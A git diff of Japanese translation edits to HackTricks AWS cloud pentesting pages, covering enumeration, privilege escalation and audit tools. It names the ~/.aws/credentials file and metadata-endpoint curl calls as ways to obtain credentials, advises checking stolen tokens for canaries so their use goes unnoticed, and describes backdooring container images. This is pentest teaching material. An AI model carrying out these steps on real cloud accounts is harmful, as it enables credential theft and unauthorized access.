Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

src/pentesting-cloud/aws-security/README.md

@@ -36,7 +36,7 @@ AWS 環境を監査するためには、どの **サービスが使用されて
 - github（または類似のもの）での **漏洩** - OSINT
 - **ソーシャル** エンジニアリング
 - **パスワード** の再利用（パスワード漏洩）
-- AWS ホスティングアプリケーションの脆弱性
+- AWS ホストアプリケーションの脆弱性
 - [**サーバーサイドリクエストフォージェリ**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) メタデータエンドポイントへのアクセス
 - **ローカルファイル読み取り**
 - `/home/USERNAME/.aws/credentials`
@@ -58,13 +58,13 @@ aws-permissions-for-a-pentest.md
 {{#endref}}
 
 > [!NOTE]
-> 資格情報を取得した後は、それらの資格情報が **誰に属しているか**、および **何にアクセスできるか** を知る必要があります。そのため、いくつかの基本的な列挙を行う必要があります：
+> 資格情報を取得した後は、それらの資格情報が **誰に属しているか**、および **何にアクセスできるか** を知る必要があります。そのため、いくつかの基本的な列挙を実行する必要があります：
 
 ## 基本的な列挙
 
 ### SSRF
 
-AWS 内のマシンで SSRF を見つけた場合は、トリックのためにこのページを確認してください：
+AWS 内のマシンで SSRF を見つけた場合は、トリックについてはこのページを確認してください：
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
 curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
 ```
 > [!CAUTION]
-> 企業は**カナリアトークン**を使用して**トークンが盗まれ使用されている**ときに特定することがあります。使用する前にトークンがカナリアトークンであるかどうかを確認することをお勧めします。\
+> 企業は**カナリアトークン**を使用して**トークンが盗まれ使用されている**かどうかを特定する場合があります。使用する前にトークンがカナリアトークンであるかどうかを確認することをお勧めします。\
 > 詳細については[**このページを確認してください**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass)。
 
 ### 組織の列挙
@@ -100,9 +100,9 @@ aws-services/aws-organizations-enum.md
 
 ### IAMの列挙
 
-十分な権限がある場合、**AWSアカウント内の各エンティティの権限を確認すること**は、あなたや他のアイデンティティが何をできるか、どのように**権限を昇格させることができるか**を理解するのに役立ちます。
+十分な権限がある場合は、**AWSアカウント内の各エンティティの権限を確認すること**が、あなたや他のアイデンティティが何をできるか、また**権限を昇格させる方法**を理解するのに役立ちます。
 
-IAMを列挙するための十分な権限がない場合、**ブルートフォースで盗む**ことができます。\
+IAMを列挙するための十分な権限がない場合は、**ブルートフォースで盗む**ことでそれらを特定できます。\
 **列挙とブルートフォースの方法**については以下を確認してください：
 
 {{#ref}}
@@ -111,17 +111,17 @@ aws-services/aws-iam-enum.md
 
 > [!NOTE]
 > 現在、**あなたの資格情報に関する情報を持っている**（そして、もしあなたがレッドチームであれば、幸運にも**検出されていない**ことを願っています）。環境で使用されているサービスを特定する時が来ました。\
-> 次のセクションでは、**一般的なサービスを列挙する方法**を確認できます。
+> 次のセクションでは、**一般的なサービスを列挙する方法**をいくつか確認できます。
 
 ## サービスの列挙、ポストエクスプロイト & 永続性
 
-AWSには驚くべき数のサービスがあります。次のページでは、**基本情報、列挙**のチートシート\*\*、\*\***検出を回避する方法**、**永続性**を取得する方法、その他の**ポストエクスプロイト**のトリックについての情報を見つけることができます：
+AWSには驚くべき数のサービスがあり、以下のページでは**基本情報、列挙**のチートシート\*\*、\*\***検出を回避する方法**、**永続性**を取得する方法、その他の**ポストエクスプロイト**のトリックについての情報が見つかります：
 
 {{#ref}}
 aws-services/
 {{#endref}}
 
-すべての作業を**手動で**行う必要はないことに注意してください。以下の投稿には、[**自動ツール**](./#automated-tools)に関する**セクション**があります。
+すべての作業を**手動で**行う必要はないことに注意してください。この投稿の下部には、[**自動ツール**](./#automated-tools)に関する**セクション**があります。
 
 さらに、この段階で**認証されていないユーザーに公開されているサービスが**見つかるかもしれません。これらを悪用できるかもしれません：
 
@@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/
 
 ## 権限昇格
 
-異なるリソースに対して**少なくとも自分の権限を確認できる**場合、**さらに権限を取得できるかどうかを確認することができます**。少なくとも以下の権限に焦点を当てるべきです：
+異なるリソースに対して**少なくとも自分の権限を確認できる**場合、**さらに権限を取得できるかどうかを確認できます**。少なくとも以下に示す権限に焦点を当てるべきです：
 
 {{#ref}}
 aws-privilege-escalation/
@@ -140,9 +140,9 @@ aws-privilege-escalation/
 ## 公開されたサービス
 
 AWSサービスを列挙しているときに、いくつかのサービスが**インターネットに要素を公開している**のを見つけたかもしれません（VM/コンテナのポート、データベースやキューサービス、スナップショットやバケットなど）。\
-ペンテスター/レッドチームとして、これらに**機密情報/脆弱性**がないか常に確認するべきです。これにより、**AWSアカウントへのさらなるアクセス**が得られるかもしれません。
+ペンテスター/レッドチームとして、これらに**機密情報や脆弱性**がないか常に確認するべきです。これにより、**AWSアカウントへのさらなるアクセス**が得られるかもしれません。
 
-この本では、**公開されたAWSサービスを見つける方法とそれを確認する方法**に関する**情報**を見つけることができるはずです。**公開されたネットワークサービスの脆弱性を見つける方法**については、特定の**サービス**を以下で**検索**することをお勧めします：
+この本では、**公開されたAWSサービスを見つける方法とそれを確認する方法**に関する**情報**が見つかるはずです。**公開されたネットワークサービスの脆弱性を見つける方法**については、特定の**サービス**を以下で**検索**することをお勧めします：
 
 {{#ref}}
 https://book.hacktricks.xyz/
@@ -152,22 +152,22 @@ https://book.hacktricks.xyz/
 
 ### ルート/管理アカウントから
 
-管理アカウントが組織内に新しいアカウントを作成すると、**新しい役割**が新しいアカウントに作成され、デフォルトで**`OrganizationAccountAccessRole`**と名付けられ、**管理アカウント**に新しいアカウントにアクセスするための**AdministratorAccess**ポリシーが付与されます。
+管理アカウントが組織内に新しいアカウントを作成すると、新しいアカウントに**新しいロール**が作成され、デフォルトで**`OrganizationAccountAccessRole`**と名付けられ、**管理アカウント**に新しいアカウントにアクセスするための**AdministratorAccess**ポリシーが付与されます。
 
 <figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
 
 したがって、子アカウントに管理者としてアクセスするには、次のことが必要です：
 
-- **管理**アカウントを**侵害**し、**子アカウントのID**と**役割の名前**（デフォルトでOrganizationAccountAccessRole）を見つけて、管理アカウントが管理者としてアクセスできるようにします。
+- **管理**アカウントを**侵害**し、**子アカウントのID**と**ロールの名前**（デフォルトでOrganizationAccountAccessRole）を見つけて、管理アカウントが管理者としてアクセスできるようにします。
 - 子アカウントを見つけるには、AWSコンソールの組織セクションに移動するか、`aws organizations list-accounts`を実行します。
-- 役割の名前を直接見つけることはできないため、すべてのカスタムIAMポリシーを確認し、**以前に発見した子アカウントに対する`sts:AssumeRole`を許可するもの**を検索します。
-- **管理アカウント内の**`sts:AssumeRole`権限を持つ**プリンシパルを侵害**し、子アカウントの役割に対して**（管理アカウントから誰でもなりすますことを許可している場合でも、外部アカウントであるため、特定の`sts:AssumeRole`権限が必要です）**。
+- ロールの名前を直接見つけることはできないため、すべてのカスタムIAMポリシーを確認し、**以前に発見した子アカウントに対する`sts:AssumeRole`を許可するもの**を検索します。
+- **管理アカウント内の**`sts:AssumeRole`権限を持つ**プリンシパル**を**子アカウントのロールに対して**侵害します（管理アカウントから誰でもなりすますことを許可している場合でも、外部アカウントであるため、特定の`sts:AssumeRole`権限が必要です）。
 
 ## 自動ツール
 
 ### リコン
 
-- [**aws-recon**](https://github.com/darkbitio/aws-recon)：Rubyで書かれたマルチスレッドのAWSセキュリティに特化した**インベントリ収集ツール**。
+- [**aws-recon**](https://github.com/darkbitio/aws-recon): Rubyで書かれたマルチスレッドのAWSセキュリティに特化した**インベントリ収集ツール**です。
 ```bash
 # Install
 gem install aws_recon
@@ -179,7 +179,7 @@ AWS_PROFILE=<profile> aws_recon \
 --verbose
 ```
 - [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlistは、クラウドプロバイダーからアセット（ホスト名、IPアドレス）を取得するための**マルチクラウドツール**です。
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapperは、Amazon Web Services（AWS）環境を分析するのに役立ちます。現在、セキュリティ問題の監査を含む、はるかに多くの機能が含まれています。
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapperは、Amazon Web Services (AWS) 環境を分析するのに役立ちます。現在、セキュリティ問題の監査を含む、はるかに多くの機能が含まれています。
 ```bash
 # Installation steps in github
 # Create a config.json file with the aws info, like:
@@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev
 python cloudmapper.py prepare #Prepare webserver
 python cloudmapper.py webserver #Show webserver
 ```
-- [**cartography**](https://github.com/lyft/cartography): Cartographyは、Neo4jデータベースによって駆動される直感的なグラフビューで、インフラストラクチャ資産とそれらの関係を統合するPythonツールです。
+- [**cartography**](https://github.com/lyft/cartography): Cartographyは、インフラストラクチャ資産とそれらの関係を直感的なグラフビューで統合するPythonツールで、Neo4jデータベースによって支えられています。
 ```bash
 # Install
 pip install cartography
@@ -239,9 +239,9 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
 
 ### Privesc & Exploiting
 
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** スキャンされたAWS環境で最も特権のあるユーザーを発見します。AWSシャドウ管理者を含みます。powershellを使用します。特権ポリシーの**定義**は、[https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)の**`Check-PrivilegedPolicy`**関数内で見つけることができます。
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacuは、クラウド環境に対する攻撃的セキュリティテストのために設計されたオープンソースの**AWSエクスプロイトフレームワーク**です。**列挙**、**ミスコンフィギュレーション**の発見、そしてそれらを**エクスプロイト**することができます。特権の**定義**は、**`user_escalation_methods`**辞書内の[https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)で見つけることができます。
-- pacuは**自分のプライベスパスのみをチェックします**（アカウント全体ではありません）。
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** スキャンされたAWS環境で最も特権のあるユーザーを発見します。AWS Shadow Adminsを含みます。powershellを使用します。特権ポリシーの**定義**は、[https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)の**`Check-PrivilegedPolicy`**関数内にあります。
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacuは、クラウド環境に対する攻撃的セキュリティテストのために設計されたオープンソースの**AWSエクスプロイトフレームワーク**です。**列挙**、**ミスコンフィギュレーション**の発見、そしてそれらを**エクスプロイト**することができます。特権の**定義**は、**`user_escalation_methods`**辞書内の[https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)で見つけることができます。
+- pacuは**自分のプライベートパスのみをチェックします**（アカウント全体ではありません）。
 ```bash
 # Install
 ## Feel free to use venvs
@@ -255,7 +255,7 @@ pacu
 > exec iam__enum_permissions # Get permissions
 > exec iam__privesc_scan # List privileged permissions
 ```
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) は、AWS アカウントまたは AWS 組織の AWS Identity and Access Management (IAM) の設定におけるリスクを特定するためのスクリプトとライブラリです。これは、アカウント内の異なる IAM ユーザーとロールを有向グラフとしてモデル化し、**特権昇格**のチェックや、攻撃者が AWS 内のリソースやアクションにアクセスするために取る可能性のある代替経路を確認できるようにします。**privesc** パスを見つけるために使用される**権限**は、[https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) の `_edges.py` で終わるファイル名で確認できます。
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper)は、AWSアカウントまたはAWS組織のAWS Identity and Access Management (IAM)の設定におけるリスクを特定するためのスクリプトおよびライブラリです。これは、アカウント内の異なるIAMユーザーとロールを有向グラフとしてモデル化し、**特権昇格**のチェックや、攻撃者がAWS内のリソースやアクションにアクセスするために取る可能性のある代替パスを確認できるようにします。**privesc**パスを見つけるために使用される**権限**は、[https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)の`_edges.py`で終わるファイル名にあります。
 ```bash
 # Install
 pip install principalmapper
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
 pmapper --profile dev orgs display
 ```
 - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplainingは、最小特権の違反を特定し、リスク優先のHTMLレポートを生成するAWS IAMセキュリティ評価ツールです。\
-それは、潜在的に**過剰な権限**を持つ顧客、インラインおよびAWS **ポリシー**、およびそれらにアクセスできる**プリンシパル**を示します。（それは特権昇格だけでなく、他の興味深い権限もチェックするため、使用を推奨します）。
+それは、潜在的に**過剰な権限**を持つ顧客、インラインおよびAWSの**ポリシー**、およびそれらにアクセスできる**プリンシパル**を示します。（それは特権昇格だけでなく、他の興味深い権限もチェックするため、使用を推奨します）。
 ```bash
 # Install
 pip install cloudsplaining
@@ -290,13 +290,13 @@ cloudsplaining download --profile dev
 # Analyze the IAM policies
 cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
 ```
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJackは、分離されたRoute53とCloudFrontの設定の結果として、AWSアカウントの**サブドメインハイジャック脆弱性**を評価します。
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECRリポジトリのリスト -> ECRリポジトリをプル -> バックドアを仕掛ける -> バックドアを仕掛けたイメージをプッシュ
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJackは、分離されたRoute53とCloudFrontの構成の結果として、AWSアカウントの**サブドメインハイジャック脆弱性**を評価します。
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECRリポジトリのリスト -> ECRリポジトリをプル -> バックドアを仕掛ける -> バックドア付きイメージをプッシュ
 - [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebagは、公開されたElastic Block Storage（**EBS）スナップショット**を通じて、偶然に残された可能性のある秘密を**検索**するツールです。
 
-### Audit
+### 監査
 
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** AquaのCloudSploitは、Amazon Web Services (AWS)、Microsoft Azure、Google Cloud Platform (GCP)、Oracle Cloud Infrastructure (OCI)、およびGitHubを含む**クラウドインフラストラクチャ**アカウントの**セキュリティリスク**を検出するために設計されたオープンソースプロジェクトです（ShadowAdminsは探しません）。
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** AquaのCloudSploitは、Amazon Web Services（AWS）、Microsoft Azure、Google Cloud Platform（GCP）、Oracle Cloud Infrastructure（OCI）、およびGitHubを含む**クラウドインフラストラクチャ**アカウントの**セキュリティリスク**を検出するために設計されたオープンソースプロジェクトです（ShadowAdminsは探しません）。
 ```bash
 ./index.js --csv=file.csv --console=table --config ./config.js
 
@@ -314,7 +314,7 @@ prowler -v
 prowler <provider>
 prowler aws --profile custom-profile [-M csv json json-asff html]
 ```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFoxは、未知のクラウド環境での状況認識を得るのに役立ちます。これは、ペネトレーションテスターや他の攻撃的セキュリティ専門家がクラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるために作成されたオープンソースのコマンドラインツールです。
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFoxは、未知のクラウド環境での状況認識を高めるのに役立ちます。これは、ペネトレーションテスターや他の攻撃的セキュリティ専門家がクラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるために作成されたオープンソースのコマンドラインツールです。
 ```bash
 cloudfox aws --profile [profile-name] all-checks
 ```
@@ -330,13 +330,13 @@ scout --help
 scout aws -p dev
 ```
 - [**cs-suite**](https://github.com/SecurityFTW/cs-suite): クラウドセキュリティスイート（python2.7を使用し、メンテナンスされていないようです）
-- [**Zeus**](https://github.com/DenizParlak/Zeus): ZeusはAWS EC2 / S3 / CloudTrail / CloudWatch / KMSのベストハードニングプラクティスのための強力なツールです（メンテナンスされていないようです）。システム内のデフォルト設定されたクレデンシャルのみをチェックします。
+- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeusは、AWS EC2 / S3 / CloudTrail / CloudWatch / KMSのベストハードニングプラクティスのための強力なツールです（メンテナンスされていないようです）。システム内のデフォルト設定されたクレデンシャルのみをチェックします。
 
 ### 定常監査
 
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodianは、パブリッククラウドアカウントとリソースを管理するためのルールエンジンです。ユーザーは**適切に管理されたクラウドインフラストラクチャを有効にするポリシーを定義**することができます。これは、組織が持つ多くのアドホックスクリプトを軽量で柔軟なツールに統合し、統一されたメトリクスとレポートを提供します。
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodianは、パブリッククラウドアカウントとリソースを管理するためのルールエンジンです。ユーザーは、**適切に管理されたクラウドインフラストラクチャを有効にするためのポリシーを定義**できます。これは、組織が持つ多くのアドホックスクリプトを軽量で柔軟なツールに統合し、統一されたメトリクスとレポートを提供します。
 - [**pacbot**](https://github.com/tmobile/pacbot)**: コードとしてのポリシーボット（PacBot）**は、**クラウドのための継続的なコンプライアンス監視、コンプライアンスレポート、およびセキュリティ自動化のプラットフォーム**です。PacBotでは、セキュリティとコンプライアンスのポリシーがコードとして実装されます。PacBotによって発見されたすべてのリソースは、これらのポリシーに対して評価され、ポリシーの適合性が測定されます。PacBotの**自動修正**フレームワークは、事前定義されたアクションを実行することによってポリシー違反に自動的に対応する能力を提供します。
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlertは、サーバーレスの**リアルタイム**データ分析フレームワークであり、**定義したデータソースとアラートロジックを使用して、任意の環境からデータを取り込み、分析し、アラートを出す**ことを可能にします。コンピュータセキュリティチームは、StreamAlertを使用して、インシデント検出と対応のために毎日テラバイトのログデータをスキャンします。
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlertは、サーバーレスの**リアルタイム**データ分析フレームワークであり、**データを取り込み、分析し、アラートを出す**ことを可能にします。これは、あなたが定義するデータソースとアラートロジックを使用します。コンピュータセキュリティチームは、StreamAlertを使用して、インシデント検出と対応のために毎日テラバイトのログデータをスキャンします。
 
 ## DEBUG: AWS cliリクエストをキャプチャする
 ```bash

src/pentesting-cloud/aws-security/aws-basic-information/README.md

@@ -21,13 +21,13 @@ AWSには**ルートアカウント**があり、これは**組織内のすべ
 - 組織からアカウントを削除する
 - 招待を管理する
 - 組織内のエンティティ（ルート、OU、またはアカウント）にポリシーを適用する
-- 組織内のすべてのアカウントにサービス機能を提供するために、サポートされているAWSサービスとの統合を有効にする。
+- 組織内のすべてのアカウントにわたってサービス機能を提供するために、サポートされているAWSサービスとの統合を有効にする。
 - このルートアカウント/組織を作成するために使用されたメールアドレスとパスワードを使用して、ルートユーザーとしてログインすることが可能です。
 
 管理アカウントは**支払いアカウントの責任**を持ち、メンバーアカウントによって発生したすべての料金を支払う責任があります。組織の管理アカウントを変更することはできません。
 
 - **メンバーアカウント**は、組織内の残りのすべてのアカウントを構成します。アカウントは、一度に1つの組織のメンバーであることができます。アカウントにポリシーを添付して、そのアカウントのみに制御を適用することができます。
-- メンバーアカウントは**有効なメールアドレスを使用する必要があります**。一般的に、**名前**を持つことができ、請求を管理することはできません（ただし、アクセスが与えられる場合があります）。
+- メンバーアカウントは**有効なメールアドレスを使用する必要があります**。一般的に、**名前**を持つことができ、請求を管理することはできませんが（アクセスが与えられる場合があります）。
 ```
 aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
 ```
@@ -38,40 +38,40 @@ aws organizations create-account --account-name testingaccount --email testingac
 # You can get the root id from aws organizations list-roots
 aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
 ```
-### サービス制御ポリシー (SCP)
+### サービスコントロールポリシー (SCP)
 
-**サービス制御ポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーとロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM** 権限ポリシーに**似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**SCPはメンバーアカウント内のエンティティの権限を制限します**。
+**サービスコントロールポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーやロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM**権限ポリシーに似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**メンバーアカウント内のエンティティの権限が制限されます**。
 
-これは**ルートユーザーでさえも何かを行うのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのをユーザーに止めるために使用できます。\
+これは**ルートユーザーでさえ何かを行うのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのをユーザーに止めるために使用できます。\
 これを回避する唯一の方法は、SCPを設定する**マスターアカウント**も侵害することです（マスターアカウントはブロックできません）。
 
 > [!WARNING]
-> **SCPはアカウント内のプリンシパルのみを制限する**ため、他のアカウントには影響しません。これは、SCPが` s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスすることを止めることはない**ことを意味します。
+> **SCPはアカウント内のプリンシパルのみを制限する**ため、他のアカウントには影響しません。これは、SCPが`s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスすることを止めることはない**ことを意味します。
 
 SCPの例：
 
 - ルートアカウントを完全に拒否
 - 特定のリージョンのみを許可
 - ホワイトリストに登録されたサービスのみを許可
-- GuardDuty、CloudTrail、およびS3のパブリックブロックアクセスを無効にすることを拒否
+- GuardDuty、CloudTrail、およびS3パブリックブロックアクセスの無効化を拒否
 
 - セキュリティ/インシデントレスポンスロールの削除または
 
 変更を拒否。
 
 - バックアップの削除を拒否。
-- IAMユーザーとアクセスキーの作成を拒否。
+- IAMユーザーとアクセスキーの作成を拒否
 
 **JSONの例**は[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)で見つけてください。
 
 ### ARN
 
-**Amazonリソース名**は、AWS内のすべてのリソースが持つ**一意の名前**で、次のように構成されています：
+**Amazonリソース名**は、AWS内のすべてのリソースが持つ**ユニークな名前**で、次のように構成されています：
 ```
 arn:partition:service:region:account-id:resource-type/resource-id
 arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
 ```
-注意：AWSには4つのパーティションがありますが、それを呼び出す方法は3つだけです：
+AWSには4つのパーティションがありますが、それを呼び出す方法は3つだけです：
 
 - AWS Standard: `aws`
 - AWS China: `aws-cn`
@@ -80,17 +80,17 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
 
 ## IAM - アイデンティティとアクセス管理
 
-IAMは、AWSアカウント内で**認証**、**認可**、および**アクセス制御**を管理することを可能にするサービスです。
+IAMは、AWSアカウント内で**認証**、**承認**、および**アクセス制御**を管理することを可能にするサービスです。
 
 - **認証** - アイデンティティを定義し、そのアイデンティティを検証するプロセス。このプロセスは、識別と検証に分けることができます。
-- **認可** - アイデンティティがシステム内でアクセスできるものを決定します。
+- **承認** - アイデンティティがシステム内でアクセスできるものを決定します。これは認証された後のことです。
 - **アクセス制御** - セキュアなリソースへのアクセスがどのように付与されるかの方法とプロセス
 
-IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、認可、アクセス制御メカニズムを管理、制御、統治する能力によって定義されます。
+IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、承認、およびアクセス制御メカニズムを管理、制御、統治する能力によって定義されます。
 
 ### [AWSアカウントのルートユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
 
-Amazon Web Services (AWS) アカウントを最初に作成すると、アカウント内のすべてのAWSサービスとリソースに**完全にアクセスできる**単一のサインインアイデンティティが作成されます。これがAWSアカウントの_**ルートユーザー**_であり、**アカウントを作成する際に使用したメールアドレスとパスワードでサインインすることでアクセスします**。
+Amazon Web Services (AWS) アカウントを最初に作成すると、アカウント内のすべてのAWSサービスとリソースに**完全にアクセスできる**単一のサインインアイデンティティが与えられます。これがAWSアカウントの_**ルートユーザー**_であり、**アカウントを作成する際に使用したメールアドレスとパスワードでサインインすることでアクセスします**。
 
 新しい**管理者ユーザー**は**ルートユーザーよりも権限が少ない**ことに注意してください。
 
@@ -98,24 +98,24 @@ Amazon Web Services (AWS) アカウントを最初に作成すると、アカウ
 
 ### [IAMユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
 
-IAM _ユーザー_ は、AWS内で**人またはアプリケーションを表す**ために作成するエンティティです。AWSのユーザーは、名前と資格情報（パスワードと最大2つのアクセスキー）で構成されます。
+IAM _ユーザー_ は、AWS内で**それを使用してAWSと対話する人またはアプリケーション**を**表す**ために作成するエンティティです。AWSのユーザーは、名前と資格情報（パスワードと最大2つのアクセスキー）で構成されます。
 
-IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーをユーザーに直接添付**することができます（推奨）。
+IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーを直接ユーザーに添付**することができます（推奨）。
 
-ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります（例：[**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)）。
+ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります（例 [**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)）。
 
 #### CLI
 
-- **アクセスキーID**: 20のランダムな大文字の英数字の文字列（例：AKHDNAPO86BSHKDIRYT）
-- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字列（例：S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU）（失われたシークレットアクセスキーIDを取得することはできません）。
+- **アクセスキーID**: 20のランダムな大文字の英数字の文字列（例: AKHDNAPO86BSHKDIRYT）
+- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字列（例: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU）（失われたシークレットアクセスキーIDを取得することはできません）。
 
-アクセスキーを**変更する必要がある場合**は、次のプロセスに従う必要があります：\
+**アクセスキーを変更する必要がある場合**は、次のプロセスに従う必要があります：\
 &#xNAN;_&#x43;reate a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
 
 ### MFA - 多要素認証
 
-これは、既存の方法（パスワードなど）に加えて**認証のための追加の要素を作成する**ために使用され、マルチファクターレベルの認証を作成します。\
-無料の仮想アプリケーションや物理デバイスを使用できます。Google認証などのアプリを無料で使用してAWSでMFAを有効にできます。
+これは、既存の方法（パスワードなど）に加えて**認証のための追加の要素を作成する**ために使用され、したがって多要素の認証レベルを作成します。\
+**無料の仮想アプリケーションまたは物理デバイス**を使用できます。Google認証などのアプリを無料で使用してAWSでMFAを有効にできます。
 
 MFA条件を持つポリシーは、以下に添付できます：
 
@@ -123,39 +123,41 @@ MFA条件を持つポリシーは、以下に添付できます：
 - Amazon S3バケット、Amazon SQSキュー、またはAmazon SNSトピックなどのリソース
 - ユーザーによって引き受けられるIAMロールの信頼ポリシー
 
-MFAを**チェックする**リソースに**CLI経由でアクセスしたい場合**は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\
-**`AssumeRole`の資格情報にはこの情報が含まれていない**ことに注意してください。
+**CLIを介して**MFAを**チェックする**リソースにアクセスしたい場合は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\
+**`AssumeRole`の資格情報にはこの情報は含まれていない**ことに注意してください。
 ```bash
 aws sts get-session-token --serial-number <arn_device> --token-code <code>
 ```
-As [**ここに記載されているように**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAを使用できない**さまざまなケースがあります。
+以下の内容は、AWSにおけるMFAの使用に関する情報です。
+
+As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAを使用できない**さまざまなケースがあります。
 
 ### [IAMユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
 
